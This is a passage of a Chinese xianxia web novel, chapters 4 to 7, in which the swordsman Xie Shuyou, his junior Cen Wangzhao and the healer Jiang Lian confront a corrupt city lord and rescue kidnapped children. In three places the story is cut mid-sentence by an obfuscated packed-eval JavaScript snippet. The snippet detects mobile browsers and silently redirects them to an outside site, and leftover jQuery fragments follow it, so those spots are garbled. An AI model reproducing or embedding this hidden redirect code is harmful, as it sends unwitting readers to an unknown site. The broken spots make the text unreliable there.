他儿时身体不好,虽然现在已经看不出什么问题来了,但师尊却说他身体状况依旧不稳,又让他不要沾惹太多煞气,已经许久不让他碰剑了。 于是他春日握桃枝,夏日握柳枝,秋日握枫枝,冬日握竹枝。 他出生时有老和尚路过,相过他的面后断他日后弑杀成性,对他父母说此子不可留在身边,要带他皈依佛门洗除杀性。但他的父母自然是不信的,好好的孩子也不可能让人带着做了和尚去,于是婉言拒绝了。 但也因此对他多有担心,担心那和尚会四处乱说,担心他长大后听说此事会对道心有损。 他对这些东西没什么感觉,但为了不让父母师长担心,他学着去做什么乖孩子,装模作样学什么君子。 可是…… 剑学了不就是用来杀人的吗? 分明冷情一张脸,却能清楚感觉到他的兴奋。 刺客渐渐体力不支,可眼前之人出剑风格却愈发凌厉狠辣,招招势势都在将人往死路上逼,半点不留余地。他只能咬牙勉强护住要害,身上被剑风割出的血痕浸透了衣衫。 对方毫无招架之力,谢舒攸觉得无聊起来,失去耐心一剑挑翻他手中长刀。右手持剑收势,左手将地上的刀捡起来,思考着怎么用这人的武器结束这局对战。 那刺客从始至终没有发出什么声音,此时被踩在脚下殷红色的血汩汩流了一地也没出声,面具遮挡了面容,只露出一双色彩淡如冰雪的眼瞳,若不是胸口还有微弱起伏,似乎和死了一般没什么声息。 这双眼睛让谢舒攸格外不舒服,又说不上到底哪里不舒服,但他自己也能感觉到今晚对上这人之后自己就变得格外躁动。 谢舒攸将那把沉重的长刀抵在这人胸口。 他想解决掉这躁动的由来。 “师……师兄。”一旁有微弱的声音传来,是岑望昭。他脸色有些发白,小声说,“师尊临行前交待过,尽量不要杀人……” 差点忘了,岑望昭还在一旁看着。 师尊让他跟来估计就是为了看着自己的。 谢舒攸皱皱眉,最后还是将手中的长刀扔到了一旁。 他直起身,提着剑径直从刺客身上跨过,织金缀玉的华美袍裾就这么扫了过去。 十分轻慢的动作,半点尊重也没有,全然是存心的羞辱。 城主坐在上首目睹完这一切,身体僵硬,一动也不敢动。 谢舒攸提着剑走到他面前,剑刃贴上他脸颊的时候,谢舒攸看到了他因为恐惧而缩紧的瞳仁和倒竖的寒毛。他轻轻开口: “方才城主提及我的父母,说见到我有如故人在侧。可是……” 谢舒攸慢悠悠的将剑刃上的血从他脸上擦干净,声音也慢悠悠的: “你哪来的资格和他们同堂而坐呢?” 不顾秦昊铁青的脸色,谢舒攸用剑刃拍了拍他的脸,目光冰冷,嘴角却微微挑起来,用笑着的表情骂他:“明明是蛆虫,怎么敢与龙凤并论?” 谢舒攸将剑柄握紧了,复又松开。 真想就这么捅下去,一想到他的父母死去换来的是这些东西活着,他就忍不住有些想要发笑。 总有一天他会杀光这些吸着他父母的血活下来的蛀虫。 但现在还不是时候。 “剑不错,多谢。”谢舒攸将剑抛还给邻座,又去看秦昊:“明日这个时辰之前将抢来的还回去,或者由我亲自压你去少阳宗受审,自己选吧。” 见谢舒攸准备离开,岑望昭赶忙跟上。 殿内静得诡异,他忍不住频频回头,于是就看到了满堂神色各异的脸,在黑夜里因为颠簸模糊而扭曲得形似鬼魅。 他不敢再看,紧紧跟在师兄身后。直到走出城主府他才像是终于缓过劲来,深深吸了口气:“师兄师兄,好吓人啊。” 谢舒攸看他一眼,月光下少年的脸色还有点没缓过来的苍白。 他觉得这是岑望昭理所应当要适应的,他现在还小,但他总有一天要拿起剑来保护身后的人。虽然这是他该承担的,但出于一个师兄的责任感,谢舒攸觉得自己还是应该关心两句。 于是他问:“吓到了?” 岑望昭重重点头:“他们每个人都盯着师兄,每个人都有所企图,但又都害怕师兄。” 谢舒攸没回他,岑望昭就自己絮絮叨叨的说。 他说了半天,谢舒攸突然垂眸看他:“既然知道他们是坏人,那刚刚为什么阻止?” 岑望昭像是回忆起了什么,他表情不安起来,想了半天才开口:“可能是我看错了,我那时候看到师兄眼睛好像变成白色了。” “很淡很淡,雪一样的颜色。”他眉头紧紧皱着,“我突然就想起来,临行前师尊交待我,不能让师兄杀人……” “师尊说,师兄如果杀了人,会死。” …… 片刻的安静,在岑望昭再次抬头问为什么前,谢舒攸表情不变的说:“是人都会死,除非飞升成神,师尊杞人忧天了。” 原以为这就能堵住岑望昭喋喋不休的嘴了,然而岑望昭却突然看到了什么般突然精神起来,问谢舒攸:“师兄,凡人这个时辰是不是应该在睡觉,不会出门了。” 谢舒攸有些头疼,看了眼月亮约莫已经是子时了,他点头:“对,凡人里喜欢这个时辰出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383344|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的一般是刺客或者贼。” 岑望昭指着贴墙根试图在他们眼前溜走的人:“师兄,那儿好像有贼。” 谢舒攸还没说要管,岑望昭已经怒呵一声:“站住,干什么的!” 被指到人双手高举,指了指自己的大药箱:“误会,误会……在下是附近的大夫。深夜出诊刚刚回来,不知何处得罪了。” “既然是大夫那干嘛鬼鬼祟祟的。”岑望昭面露怀疑,“你过来走大路啊,躲那么远干什么。” 本就头疼,这番纠缠听得谢舒攸隐隐有些犯恶心。身体不适而显得面色颇有些不善,那大夫像是被吓到般从阴影处走到月光下,谢舒攸一眼认出了他是今日街上被捉起来的那个庸医。 岑望昭有些迟疑,但一时没想起来:“你看着有些面熟。” “害,这条街上行医的都是亲戚,你见过我三叔公二舅爷也说不定。”江敛面不改色胡说八道,“请问这位仁兄,我可以走了吗?” 见他面色坦荡不似作假,岑望昭虽有些疑虑,但也不好无故拦人:“算了,你走吧。” 然而江敛刚抬脚,他破旧的药箱开始造反,咔嚓一声裂开,破旧的一侧挡板就这么掉到了地上,一只青白的手臂就这么当着所有人的面从缺口处探了出来。 一时间所有人都没反应过来怎么回事,寂静的夜晚能听到虫儿的鸣叫。 然后下一刻岑望昭惊恐的大叫起来:“啊啊啊啊啊你这庸医!!!你医死人了啊!还把死人装在药箱里!!!” 好像高声会显得自己更有理,江敛一边把那截手臂往药箱里塞,一边高声回应:“你不要污蔑好人啊!这是旁人医死的!我捡回去包活的!!!” 谢舒攸头疼得要裂开:“不要吵了!” 眼前越来越模糊,谢舒攸踉跄两下还是没能支撑住向前倒去。 晕过去之前想的是完了,他那个小傻子师弟肯定反应不过来扶他,要沾一身脏东西了。 下一刻却落进一个十分温暖熟悉的怀抱里,手无意识抓了两下,握住了柔软的衣料,然后便彻底失去了意识。 岑望昭瞪大眼睛看着他对面本来还在大喊的那个庸医,突然快跑两步膝盖铲地以诡异的姿势朝他攻击过来。 他飞快躲过,刚松了口气就看到师兄倒了下去,刚好被那个庸医接住了。 岑望昭愣住,一时间忘了其他:“师兄,师兄你怎么了?” 他说着又去看江敛:“你是什么时候开始盯着我师兄的!” 小蠢蛋,从一开始看的就是你师兄。 江敛没回答他,握住谢舒攸的手腕探脉。岑望昭急得说话乱七八糟,说了下句忘上句:“这城中可有医修?” 这时候谢舒攸突然动了动,像是感到痛苦般将眉头皱得很紧,手无意识握了下,紧紧抓住了江敛的衣领。 虽然不太是时候,但江敛还是想感叹一句,这个角度看谢舒攸真是又乖又漂亮,雪白的脸颊贴在他胸口,眉头蹙着,手还抓在他领口,身上清幽的香气直往他口鼻里扑。 感觉自己身体什么地方变得热热的。 等等,热的地方怎么是人中? “医修……最近的医修……不对。”岑望昭指着他,神情不可置信地崩溃大喊,“我师兄抓你一下而已!你流什么鼻血!啊啊啊你这庸医你到底在脸红些什么?!” 江敛一把抹掉鼻血,在自己帅气英俊的脸庞旁竖起大拇指,露出自认可靠的微笑:“这不巧了吗,我就是医修,放心把你师兄交给我吧。” 岑望昭呆住了,他被眼前事物冲击得一时做不出表情来。 他看着那个糊了一脸鼻血的庸医做出奇怪的手势,然后咧开嘴露出森森白牙,好像在说,你师兄交给我你就放心吧,我马上就医死他然后找一个合适的药箱把他装起来。 半晌之后,岑望昭抽了下鼻子,他抬手摸了摸自己的脸,终于找回了自己的五官。今天经历了太多事感官反应迟滞,他想喊滚啊却不受控制地发出了“呱”得一声大哭。 “啊啊啊啊啊你这个怪人离我师兄远点啊!” 5. 如同抱了满怀冰雪 江敛将人带回了他的小医馆。 不知是被什么相冲克的东西冲撞,谢舒攸内息混乱灵气滞塞不得流通。冰灵根使他体温本就极低,如今灵气淤滞,抱在怀里更是如同抱了满怀冰雪。 阻塞了疏通开便好了。此事说难也难,说简单也简单。 难就难在谢舒攸是冰天灵根,寻常的火属阳属灵材草药起到的作用完全是杯水车薪。 简单就简单在,江敛是火天灵根,用他的灵力做疏通事半功倍。 只是这样一来谢舒攸醒来后难免会怀疑他的身份,毕竟火天灵根可不多见。 他想到了一件东西或许有用…… 将人暂时安顿在自己榻上,江敛想要起身去找什么,却被扯住了。 谢舒攸的手还握着他的领口。 江敛就着这个姿势没动,目光从他陷进柔软床褥间的脸庞移动到脖颈,腰身……不是错觉,真的消瘦了许多。 骨相轮廓更清晰了,也比从前高了些,但抱在怀里却更轻了。 片刻停顿过后,江敛抬手附上谢舒攸的手背,想将他的手指掰开。然而下一刻室内温度骤降,江敛对上了那双浅色的眼瞳。 那一瞬他心脏都要忘记该怎么跳了,耳边回荡着嗡嗡的杂音,脑中混乱第一反应是解释:“我……” 他还没说出什么,那双浅色的眼瞳已经转回了寻常的颜色,目光里透着疲惫和迷茫,缓慢的眨了下眼,似乎觉得这环境是安全的,便又闭上了眼。 江敛这才意识到自己的紧张是多余的,谢舒攸只是出于对环境的警惕短暂醒来了一下,没有危险便继续陷入了沉睡。 而他却草木皆兵,心跳如鼓。 自嘲似的笑了声,也不知道是什么时候开始变得这么胆小了。 他盯着人看了会儿,然后移开眼,没有再选择起身去找什么,而是直接握住了谢舒攸的手腕,将灵力输送进去帮他梳理混乱的经脉。 谢舒攸的皮肤太凉,握在手里像是握住了一块冰冷滑润的玉。 即使是在睡梦里,也依旧紧紧皱着眉。 江敛伸手将他眉头抚平,他从没想过谢舒攸会来他的这个小屋子。 住了这么多年,他第一次觉得这屋子这么粗陋。实在太小了,又逼仄晦暗,谢舒攸怎么能来这种地方。 他环视了一圈这个房间,觉得自己像个只能把夜明珠裹在粗麻布里的小偷。 有人踏进门开:“外面那个小孩……” 江敛比了个手势,示意去门口说。 “跟你回来的那个小孩这会儿还没哭完呢。”陈述摇头,“让他照顾带回来的那两个孩子,他和你店里那个小伙计聊起来了,听人讲了几句身世就听得掉眼泪,这是哪儿来的不知疾苦的少爷。” 岑望昭最开始是半点不肯信江敛,于是被点了穴直接扛了过来。来了之后陈述掏出药王谷的信物一通解释,这才将信将疑安静下来。 江敛点头:“不用管他,那两个孩子怎么样?” 陈述思索着,随手就掏了个算盘噼里啪啦拨起来:“有救,但是其他那些没有带出来的怎么办?而且药引所需灵材价格不菲,灵石的话……” “其他孩子我有办法带出来。”江敛道,“灵石不用担心,记我账上。” “那我没什么疑问了。”说着,陈述随便往屋里瞥了一眼,登时瞪大了双眼声调都拔高了,“你疯啦,你拿万金难求的绡纱铺床?” 江敛顺着他的视线看过去,谢舒攸身下层层叠叠铺了数层绡纱,是他刚把人抱回来时从储物戒里掏出来的,这些年他一个人过得不怎么讲究,手头找不出什么别的东西,只能委屈谢舒攸暂时先这样了。 月光从窗边漏进来,成了这个狭小昏暗的房间里唯一泛着柔和辉光的地方。 “你小点声。”江敛不知道这人在惊讶什么,他回答得理所应当,“我怕他睡得不舒服。” 陈述露出牙酸鄙夷的神情:“随你乐意吧,反正花的不是我的灵石。” 江敛散漫的哦了声,算是回应。 陈述本想就这样下楼,却看到江敛掏出药瓶,皱着眉思考了一阵吃几个合适,思考了半天像是也没想出个所以然来,干脆将瓶子倒过来往手心一扣,抓起一把就往嘴里塞。 这药平时吃一两颗止痛还可以,吃多了副作用很大,而且后面再吃会失效。按江敛吃的这个数量,未来三天内再吃药应该都没什么效果了。 看他拿药当小点心吃的这个豪放劲儿,陈述一口气险些没上来:“你要出门?怎么吃这么多,当心药劲过去疼死你!” 他话还没说完,就见江敛突然捂住了脸,滴滴答答的血珠从指缝间滴落到地上。 陈述瞳孔一颤,下意识上前一步,又想起江敛不喜欢和人有什么肢体接触,更不喜欢被人当做弱者照顾,于是伸出一半的手又收了回去。 “唉呀,这可真是……”江敛笑嘻嘻的,自己掏出帕子将鼻血擦了,“真憋屈,吃个药把自己吃成这样。” “帮我带个话给我娘,做人毒就算了,做药怎么也这么毒,事关儿子小命,有时间把药方改进一下。” 江敛还有闲心开玩笑,“哪天我要是吃多了突然死了,不知道的还以为我是想不开服毒自尽了。” “是药三分毒,你还怪上药方了。就算我跟谷主说了,谷主肯定也只有一句话回你——”陈述翻了个白眼,“爱吃吃,不吃去死。” 江敛咳着笑了两声。 “为什么非要这么我行我素?”陈述皱着眉头,欲言又止,“这些年你要是愿意安心待在药王谷,待在谷主和峰主身边,别的不说,至少身上肯定不用遭这么多罪。” “待在他们身边,安心做个废物吗?”江敛将帕子收起来,“万一我能找到恢复的方法呢?我可不甘心一辈子都这样。” 陈述还想再说些什么:“可是……” “好了,不必再说了,我知道你的好心。”江敛打断了他,“只是人各有志不是吗,我就这样,也没办法。” 陈述见他依旧一幅油盐不进的模样,烦躁道:“你爱怎样怎样吧,懒得管你。” 说罢下楼去了。 好像生气了…… 江敛将神识探进储物戒,忍痛多拨了一笔灵石给陈述当辛苦费。 做完这些,他打开手边的窗子,翻身跳了出去消失在了夜色里。 另一边,城主府。 灯火幽暗,几个人低声谋划着什么:“附近都找过了吗?” “城主府附近的每一条路都已经找过了,没有看到人……” “他们走不远。”秦昊笃定道,“路边没有,那就挨家挨户的搜!” 一道声音在他耳边慢悠悠的问:“搜什么?” “蠢货,当然是……”秦昊顿了下,他突然意识到这道声音很陌生,不可能是他身边的人。 他转过头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383345|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看到那人悠闲托着脸嘴里还在嗑瓜子,地上散了一堆瓜子皮,已经不知道听了多久了。 秦昊惊恐道:“你是什么人,什么时候进来的!” “这么害怕做什么。”江敛拍拍手站起来,笑嘻嘻的,“我是你先人,一直都在你身边保佑你呢,好儿子。” “我爹还没死!”秦昊脸色阴沉,不动声色退至仆从身后,“去将他拿下!” “唉,早知道就说是你爷爷了。”江敛叹了口气,手虚虚搭在空中,然后骤然一拢。 下一刻几人惨叫倒地,透明的丝线穿喉而过,染上血色后才显露出来形迹。 秦昊惊起一身冷汗,喉头滚动想吞咽却口中干涩。他狼狈的抬手去摸自己的脖颈,却摸到了一手的血迹。 透明的丝线悬在半空,江敛将手指搭上去,屈指拨了下。丝线上的血珠抖落在地上,“铮”得一声弦音回响在室内。 “妙音。”他侧耳听着,笑了下,看向蚂蚱一样被串成一串的人,“都说闻弦歌知雅意,不知道你们里面有没有通人性的?” 这丝线穿过的位置极其刁钻,硬生生将穴道封住,灵力也运转不得。 见没人说话,江敛反手一扯将弦绷紧,丝线突然开始涨大变粗,躺在地上的人身体一抽哀嚎起来。 “尊者……尊者别杀我。”有人率先受不住这折磨,双手紧紧扯着脖子上的那根弦,“您想知道什么,我全都交代……” 秦昊脸色一变:“你不要命了!” “堂兄!再不说现在就要没命了!” 秦烁抬头看向江敛,脸色痛得惨白,额角青筋暴起,“尊者想问什么尽管问,只是能不能先将这神器收了,神谷穴被封久了恐于灵力调度有损……修行不易,还请尊者高抬贵手。” 江敛食指按在弦上一拨,丝弦便化作了蛛丝般肉眼不可见的丝线。 他转着手腕将弦在掌心绕了两圈:“我问什么你们答什么,别搞小动作。” “是,是……”那条丝线只是变细了,却依旧狗链子般穿在脖颈间。秦烁摸着自己的脖子,眼神忌惮的盯着他的动作。 江敛道:“就从城中近来失踪的人,和今晚城主府的来宾说起吧。” 秦烁眼珠一动,意识到江敛已经知道了什么,于是半真半假道:“我们实在是为邪修胁迫,走投无路了……” 江敛百无聊赖听着他将罪责推得干干净净,讲邪修如何如何逼迫,他们的城主如何如何遭遇无妄之灾。 见江敛神色渐渐不耐烦起来,秦烁终于咬牙供出一个有用消息:“今晚攻击少阳宗来使也是邪修的计策,他们说只需让他们派来的人与之交手,那姓谢的小子必然走不出城主府方圆三里。届时我们只需将人交给他们,其他一概不管。” “尊者若不信,那邪修派来的人就在隔壁。”秦烁指了指旁边的一扇小门,眸中是跃跃欲试的恶意,“尊者去一探便知。” 江敛挑眉,不知道这门后到底有什么,竟然让被拴住脖子的野狗有胆子对人呲牙。 他起身去推开门,扑面而来的是浓重的血腥味,一道瘦削的人影靠在墙边,受了重伤却没能得到妥善安置,伤处仍汩汩流着血,分明遮挡了面容但也是肉眼可见的虚弱。 听到脚步声,那道人影猫儿般敏锐的抬起头,对上了江敛的眼睛。 江敛眉心一跳。 他不可能认错,那双眼睛几乎与谢舒攸一模一样。 6. 分辨不出情绪 回到医馆时,天已经蒙蒙亮了。 喉口隐约有丝铁腥味,江敛不甚在意的从储物戒中摸索一番,拿了瓶丹药出来吞了几颗。 暗室中见到的那道人影虽瘦削单薄还身负重伤,却在起身后爆发出了极其骇人的力量,全然是不顾自己伤势无所谓生死只决胜负的打法。 对方出招太快,江敛连补气血的丹药都来不及往嘴里送,用自己的药鼎硬抗了几轮,难免受了些轻伤。 好在对方也已经被消耗的差不多了,但取胜在望之时却无端刮起一阵阴风,将人卷走了。 此事有诡,尤其是那双眼睛…… 正思考,手臂传来如火烧般的焦灼疼痛。 这痛感于旁人来说兴许难捱,但在江敛这里却没什么。 这点疼连脊骨那块疼痛的万分之一都不及。 他面不改色拉起衣袖,就发现自手腕蜿蜒而上的黑色纹路已经攀过手肘,并且还在跃跃欲试的往上爬。 这纹路是丹毒留下的痕迹,一旦蔓延到心脏他就要一命呜呼了。 普通剂量的丹毒吃点解药逼出体内就好了,但他体内堆积的丹毒显然不是这个法子能有用的。 眼下唯一的办法就是等突破修为时让天雷劈一劈,洗经伐髓重塑筋骨。 但是雷劫能不能熬得过去就要另说了,毕竟他已经失败过一次了。 熬过去了才是修为精进洗经伐髓,熬不过去轻则修为倒退,重则性命不保。 将衣袖重新放下,江敛刚抬脚跨进门,就看到有人靠在二楼转角的栏杆处。 是谢舒攸,昨夜见他时的那身衣裳已经被换下,换成了一套水蓝色云纹纱袍。 这颜色很合他气质,将他本就淡漠的神情衬得更加沉静幽邃,如同一尊上好的玉石雕就的美人像,周身透着冰冷寒气。 美则美矣,却不似人,也不沾俗尘情爱琐事。 像是听到了他踏进门来的声音,美人朝他望过来,那双浅色的眼瞳久久凝视着他,目光不偏不倚,半寸都没有移开视线。 江敛心头猛地一跳,手下意识攥了起来。 人总是会因为脱离习惯的事物感到惶恐不安。 他从前看一眼就能知道谢舒攸在想什么,累了还是困了,开心了还是难过了。 江敛对此已经习惯,并且觉得游刃有余。 而他现在感到一阵慌乱,与慌乱一同涌上心头的还有恐惧。 分别太久,他已经分辨不出那双眼睛里的情绪了。 好像有什么抓不住的东西藏在时间里一起流走了。 片刻后,谢舒攸微微蹙眉移开了视线。 他刚醒来不久,头还疼着,方才恍惚间有些分不清梦境现实。 眼前的人居然和梦中的人重叠了。 他闭了闭眼回过神来,只是身形有两分相似而已。此人虽是修士,但也不过金丹中期修为,且周身灵气虚浮驳杂,像是用丹药硬堆起来的。 那人离开前就已经是金丹期大圆满,只差临门一脚便要突破,如今几年过去,若他还活着那也早该结婴了。 摒除心中杂念,谢舒攸越过栏杆落下,径直走到来人面前,抬手按在他肩上。 江敛脑中空白愣愣的看着人朝他走过来,下一刻冰凉的灵力涌进身体。 他的心跳实在是又吵又急,谢舒攸不得不解释了句:“止血。” 然后那颗心跳得更急促了。 谢舒攸:…… 常年忍受过度极端的疼痛,这种皮外伤放在身上已经很难感受到了。 但是却有人替他留意到了…… 怎么能这么温柔!这么善良!这么体贴!明明现在不认识不是吗? 江敛在心底攥拳流泪,怎么能有这么好的人。 谢舒攸在用灵力给他止血,他在短暂的被这个人爱着吧,就算不是,那他也可以偷偷这样以为吧,反正他心里想什么又没人知道。 已经几年了没有见面没有说话,如果不这样幻想,那他怎么熬下去。 “一点皮外伤而已。”心中在歇斯底里的呐喊,但他脸上还是相当矜持道,“没什么。” 谢舒攸收回手,拿出一个储物袋。 “药王谷道友圣手仁心,襄助之恩无以为报。”他将储物袋递过来,“一点俗物,不成敬意。” 江敛正要拒绝,陈述不知从哪里钻了出来。 他挤到两人中间将袋子接过,亲切道:“道友真是客气,救死扶伤实乃医者天职,这次就算了,下次就不必备这些东西了。” 谢舒攸点头:“昨晚多有叨扰,还望二位海涵。若是方便的话,在下还有一事相求。” 陈述将神识探进储物袋,被巨大财力散发的璀璨光芒震撼了下,短暂的呆滞过后嘴笑得都要咧到后脑勺了:“怎么会不方便,不知道友所托何事?” 谢舒攸略微侧身,视线投向角落里挤在桌角抱着剑还没睡醒的岑望昭:“在下还有些事尚未处理,只是师弟尚小有些事不宜带他同去……” 陈述马上明白了他的未尽之语:“道友有事只管去了结,道友回来之前那位小公子我们会代为照顾。” “多谢。”谢舒攸朝两人颔首,“那在下便先行告辞了。” “请便,请便……” 谢舒攸离开,江敛一转头就看到陈述满脸陶醉的模样。 看他这幅嘴都笑歪了的德行,江敛啧了声:“给了多少?” 陈述眉开眼笑比了五个手指。 “五万灵石?” “是五十万!五十万上品灵石!”陈述神识探进储物袋的时候魂都恍惚了,“你储物戒呢,拿过来分你一半。” 江敛拒绝:“我不要。” “不要我要。”陈述一幅乐得找不着北的模样,感叹道,“这就是七大家族之一的实力吗,出手如此阔绰……怪不得你一直念念不忘。” 江敛目光幽幽朝他看过来,陈述闭嘴收声:“行了,知道了,不用庸俗的灵石玷污你无暇的爱情。” “那两个孩子怎么样了?”江敛不再与他闲聊,抬脚往诊室去,“醒来了吗?” 掀开用于隔断的白色帘布,后面摆了几张小床,两个脸色青白的孩子躺在那里。 陈述靠在一边叹气:“身体上能医的我已经尽力了,但她们醒不来我看倒不像是因为身体上的伤病……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383346|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江敛俯身尝试探脉,但他毕竟半路出家,能看出的东西自然不如陈述:“那是因为什么?” “像是……离魂之症。”陈述压低了声音,“我只是猜的,你可别跟人乱说啊。我可没读过这方面的禁书,更没学过禁术。” 江敛抬眼:“你还有这么谨慎的时候。” “魂魄相关的都是禁术,不得不谨慎啊。”陈述摇头,“到时候被有心之人打作邪修,只怕是要被骂得爹娘遁地走,六亲天上飞,几世几代恶名洗不清。” 江敛默了下,他哥好像就是类似的原因被污蔑得有家不能回,药王谷从此隐迹藏踪不再出现于人前。 “呃……”陈述自己说完也意识到了不对劲,讪讪找补道,“我没有影射咱们大公子的意思。” 江敛出生时他哥已经不回家了,他和他哥根本不熟,于是他不甚在意道:“我知道。” “那个,对了。”陈述匆匆转移话题,“你昨晚不是说有办法把其他人带出来吗?怎么出去一趟空手回来了。” 江敛道:“昨晚我们去踩过点带出来两个之后守备变严了,按原计划把人带出来有点麻烦。” 陈述思考:“那要改变计划?” “我原本也是这么想的。”江敛神色平静,“但是转念一想太麻烦了,于是直接把麻烦解决了。” “解决……解决?!”陈述睁大了眼睛,心头涌上不好的预感,“不是我想的那个解决吧?” 江敛没说话,鼓励的表情微笑看他。 陈述眼神落到他被血泡透的衣服上,不可置信痛苦抱头:“你都杀了?” 江敛依旧微笑,对他点头。 陈述捂住心口,痛苦万分:“你怎么能,怎么能做出这种事……” “暴殄天物啊你这败家子……” 陈述痛心疾首,怒斥他,“你好歹留两个喘气的给我当药人啊!你你你,怎么能都杀了!我都想好我那批新炼的蝎子毒怎么试药了,现在全毁了!” 只能说不愧是他娘的徒弟,不是邪修胜似邪修,没有一点儿虚伪做作,恶毒全然发自本心。 转着圈叹了半天气,陈述终于想起正事来:“城主府的人都杀了,那你怎么没把孩子带出来?” “太多了,带不了。”江敛道,“谢舒攸会去收尾的。” “嘶……可今早上你一身血回来还让他撞上了。”陈述迟疑道,“他会不会……” “不会,我了解他。”江敛又吊儿郎当笑起来,“且不说没有证据,就算有证据,这种替天行道的事他不会追根究底。” “行吧,你自己有数就行。” …… 谢舒攸离开那家小医馆后,孤身一人来到近郊的荒僻竹林。 高耸的乔木遮蔽出大片凉爽浓荫,谢舒攸从储物戒中取出什么,放在唇边吹响。 林间起风般响起窸窸窣窣的轻响,树荫好像更黑更浓了……就好像有人隐于其中。 片刻后声音消失,林间重归寂静。 有人无声无息出现在谢舒攸面前,单膝跪地行礼:“附近隐卫五十七名已集结完毕。” “随时听候家主调遣。” 7. 虽未娶亲,但已有未婚妻 那家医馆太小,谢舒攸将隔壁的客栈包了下来用于安置从城主府救下的孩子。 岑望昭傻呵呵的摇着尾巴朝他跑过来:“师兄!师兄!” 谢舒攸回头看他:“什么事?” “师兄,你做什么去了,怎么不带我?”岑望昭不解道,“还有,城主府怎么戒严了?我们昨天去的时候不是还好好的吗?” 谢舒攸想起自己再度带人去城主府时,刚进门就踩了一脚黏腻的血水,顿时有些犯恶心。 见他皱眉,岑望昭还以为自己问了什么不该问的,小心翼翼道:“师兄是有什么不能透露的任务吗……那我不问了。” “没什么不能问的,城主府中搜出了三尸教中用于移魂的法阵,两方有勾结已经确认无疑了。” 谢舒攸隐去了那些血腥的东西,简要道:“状况超出了预料,已经传书通知了执法堂,不久后会有宗内前辈前来处理,戒严是为了防止有人误入。” “原来是这样。”岑望昭看着走来走去忙得满头大汗的陈述,又看了看那些孩子,“师兄,我能过去帮忙吗?” 他话问出口,却没得到回应。于是他仰头去看身旁的师兄,就发现师兄的视线一直落在那个叫江敛的医修身上,神情若有所思。 “师兄?”岑望昭不知道师兄为什么心不在焉的,于是又喊了一遍,“我能去帮忙吗?” “嗯,知道了。”谢舒攸终于看了他一眼,“去吧,帮忙可以,不要走远。此地必有三尸教余孽活动,天黑前回来我身边。” “知道了!”岑望昭浑然不似意识到危险的样子,小跑着去找陈述搭话了。 也是,他太小了,所知道的和三尸教有关的都是道听途说,根本不明白那些东西意味着什么。 谢舒攸将视线转回倚在桌边翻书那人身上。 不知为何,他的脸色看起来比昨天苍白了些,但神情动作依旧懒懒散散的,坐没坐相站没站相,斜倚在那儿,没个正形。 谢舒攸盯着他看了会儿,垂下眼不知在想什么,片刻后抬脚走了过去。 早上不甚在意所以没有细看,如今走到近前谢舒攸突然意识到这个人高他许多,即使斜倚着没有站直也依旧较他高出半头,夕阳从这人身后的窗子里照进来,覆下的影子能将他整个人罩进去。 谢舒攸在他投下来的影子里,站定看他。 听到有人走过来,那人将书从眼前移开,橘黄的夕阳在他周身滚了一层金边,他抬头与谢舒攸对视,然后笑起来:“道友有何贵干?你也想看看我这本,呃……” 他合上书看了眼书名,“青园山百草图鉴吗?” 谢舒攸看着他的眼睛,开口道:“还未请教道友姓名,家住何方,祖籍何处,师承何门,所修何道。” “在下姓江,名敛,字遂安,长居此地,祖籍东陌兖州人。师承药王谷,眼下还不打算转行修河道,若是医药一门修不下去再做打算。” 江敛被盘问也没有半点不高兴,反而笑吟吟的,一张脸登时鲜活起来,那点苍白就不再明显了:“道友问的这么详细,不知是要认亲呐,还是结姻呐?” 谢舒攸忽略掉他的后半句,又问:“既是医修,为何不与陈道友一同救治伤患?” “在下半路出家,只精毒术针灸,不精药石病理。”江敛摇头叹气,“只怕过去会给同门添乱。” 谢舒攸皱眉:“半路出家?” 江敛点头,神情深沉:“说来你可能不信,我从前其实是个音修。” 谢舒攸:“修什么?” 江敛道:“修琵琶。” 见谢舒攸又要皱眉,江敛直起了身子将书放下:“不信吗?我来给你弹一段。” 江敛张开手臂,他手中唤出一把质地精美绝伦的白玉琵琶,谢舒攸看着他抱着琵琶调整好姿势,将手指搭在透明的琵琶弦上,闭眼沉息似乎在酝酿情绪。 似乎有模有样的…… 然而下一刻江敛手指拨动琵琶弦,“锵”得一声诡异音节响起,震得谢舒攸耳膜一痛,不妙的预感席卷而来—— “弹棉花,拉棉花,半斤弹成八两八——” “江敛你给谁哭丧呢!”一旁传来陈述暴怒的声音,“吵死了!你闲得慌就滚去把药鼎洗了!别在这里添乱!” “学艺不精,献丑了。”江敛并不在意背后传来的声音,从容收起琵琶,“现在阁下应该明白我弃音从医的原因了吧……唉,实在是没什么天分,这也是没办法的事。” 谢舒攸说不出什么客套话,献的确实是丑。 